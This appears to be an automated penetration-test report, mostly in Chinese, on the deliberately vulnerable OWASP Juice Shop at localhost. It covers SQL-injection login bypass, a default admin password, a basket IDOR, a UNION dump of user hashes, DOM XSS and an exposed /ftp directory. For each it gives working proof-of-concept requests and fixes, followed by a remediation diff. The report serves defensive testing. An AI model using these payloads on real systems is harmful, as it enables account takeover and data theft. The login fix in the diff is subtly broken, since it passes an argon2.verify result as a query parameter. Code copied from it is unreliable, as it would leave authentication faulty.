Login 端点 SQL 注入绕过认证
攻击者可用 ' OR 1=1-- 绕过认证,以任意账号身份登入并获取会话 token;直接触达商店首页无需正确密码。
修复方案:登录查询改用参数化:db.query('SELECT ... WHERE email = ? AND password = ?', [email, hash]);服务端拒绝含未转义单引号的邮箱字段。
目标 · http://localhost:3000 扫描模式 · quick 凭据 · 一次性 scoped 工具 · @clawvard/sdk × strix-agent
攻击者可用 ' OR 1=1-- 绕过认证,以任意账号身份登入并获取会话 token;直接触达商店首页无需正确密码。
修复方案:登录查询改用参数化:db.query('SELECT ... WHERE email = ? AND password = ?', [email, hash]);服务端拒绝含未转义单引号的邮箱字段。
默认管理员账号使用极弱口令 admin123;配合 SQL 注入也能猜出。攻击者获得完整后台权限:编辑商品、读所有订单、导出用户表。
修复方案:部署时强制改口令,加入 NIST 800-63B 强口令策略(≥12 字符 + 排除 common list);对 /api/Users/1 加入首次登陆强制修改流程。
basket 端点仅按 URL 中的 id 返回内容,未校验请求者是否是 basket 所有者。带任意合法 JWT 请求 /rest/basket/2 就能读出另一位用户的购物车条目。
修复方案:在 routes/basket.ts 里加入 req.user.basketId === req.params.id 检查,不匹配返回 403。
搜索接口把用户输入直接拼进 SQL;配合 UNION 查询可 dump Users 表全字段,包括 MD5 密码哈希。这些哈希离线暴力破解成本极低。
修复方案:切换到参数化查询,把密码存储从 MD5 迁到 bcrypt(cost=12) 或 argon2id,并对搜索端点做输出白名单。
前端把 q 参数直接渲染回 DOM 而未转义;构造 <iframe src="javascript:alert(1)"> 可以劫持登陆用户会话。
修复方案:模板层使用 Angular 默认的 innerHTML sanitizer,或改用 textContent;加一层 CSP script-src 'self'。
/ftp 静态目录未受访问控制,攻击者可以遍历下载 acquisitions.md、legal.md、package.json.bak 等原本内部的文件。
修复方案:在 Express 静态路由前加入认证中间件,或直接把该目录从生产打包中移除;对不能公开的路径回 404。
curl -sS -X POST 'http://localhost:3000/rest/user/login' \
-H 'Content-Type: application/json' \
--data '{"email":"admin@juice-sh.op'\''--","password":"any"}'
成功指征:响应 200 OK,Body 中出现 authentication.token 字段(正常登录也会有,但这里的邮箱输入被单引号截断,说明认证被绕过)。
curl -sS -X POST 'http://localhost:3000/rest/user/login' \
-H 'Content-Type: application/json' \
--data '{"email":"admin@juice-sh.op","password":"admin123"}'
成功指征:authentication.umail = "admin@juice-sh.op";Set-Cookie 中出现管理员 session。
GET /rest/basket/2 HTTP/1.1 Host: localhost:3000 Authorization: Bearer <your-own-jwt> Accept: application/json
成功指征:返回 data.Products[] 里包含 basket 2 的商品(不是你自己 basket 1 的商品)。
curl -sS "http://localhost:3000/rest/products/search?q=%27))%20UNION%20SELECT%20id,email,password,role,null,null,null,null,null%20FROM%20Users--"
成功指征:响应 JSON 里出现 32 位十六进制字符串(MD5 密码哈希),而不是产品字段。
open 'http://localhost:3000/#/search?q=<iframe%20src%3D%22javascript%3Aalert(document.domain)%22%3E'
成功指征:浏览器弹出 localhost:3000 的 alert 对话框,同源脚本已在页面上下文执行。
curl -sS 'http://localhost:3000/ftp/' | grep -oE 'href="[^"]+"' | head
成功指征:返回一份包含 acquisitions.md、legal.md、package.json.bak 的目录列表 HTML。
pentest/2026-07-04-juice-shop--- a/routes/login.ts +++ b/routes/login.ts @@ authenticate(req, res) @@ const { email, password } = req.body; - const rows = await db.raw( - `SELECT * FROM Users WHERE email = '${email}' AND password = '${md5(password)}'` - ); + const rows = await db.query( + 'SELECT id, email, role FROM Users WHERE email = ? AND password_hash = ?', + [email, await argon2.verify(passwordHash, password)], + ); + if (!rows.length) { + return res.status(401).json({ error: 'invalid_credentials' }); + } --- a/routes/basket.ts +++ b/routes/basket.ts @@ getBasket(req, res) @@ const { id } = req.params; + if (Number(id) !== req.user.basketId) { + return res.status(403).json({ error: 'forbidden' }); + } const basket = await Basket.findByPk(id, { include: [Product] }); res.json({ data: basket }); --- a/routes/search.ts +++ b/routes/search.ts @@ searchProducts(req, res) @@ const q = req.query.q ?? ''; - const rows = await db.raw( - `SELECT * FROM Products WHERE name LIKE '%${q}%' OR description LIKE '%${q}%'` - ); + const rows = await db.query( + 'SELECT id, name, price, image FROM Products WHERE name LIKE ? OR description LIKE ?', + [`%${q}%`, `%${q}%`], + ); --- a/server.ts +++ b/server.ts @@ app.use static routes @@ -app.use('/ftp', express.static(path.join(__dirname, 'ftp'))); +// /ftp is intentionally left out of the production bundle. +// Legacy internal docs moved to a private object store; do NOT expose +// them via a static route. --- a/frontend/src/app/search/search.component.ts +++ b/frontend/src/app/search/search.component.ts @@ render(q: string) @@ - this.el.nativeElement.innerHTML = `Results for "${q}"`; + this.el.nativeElement.textContent = `Results for "${q}"`;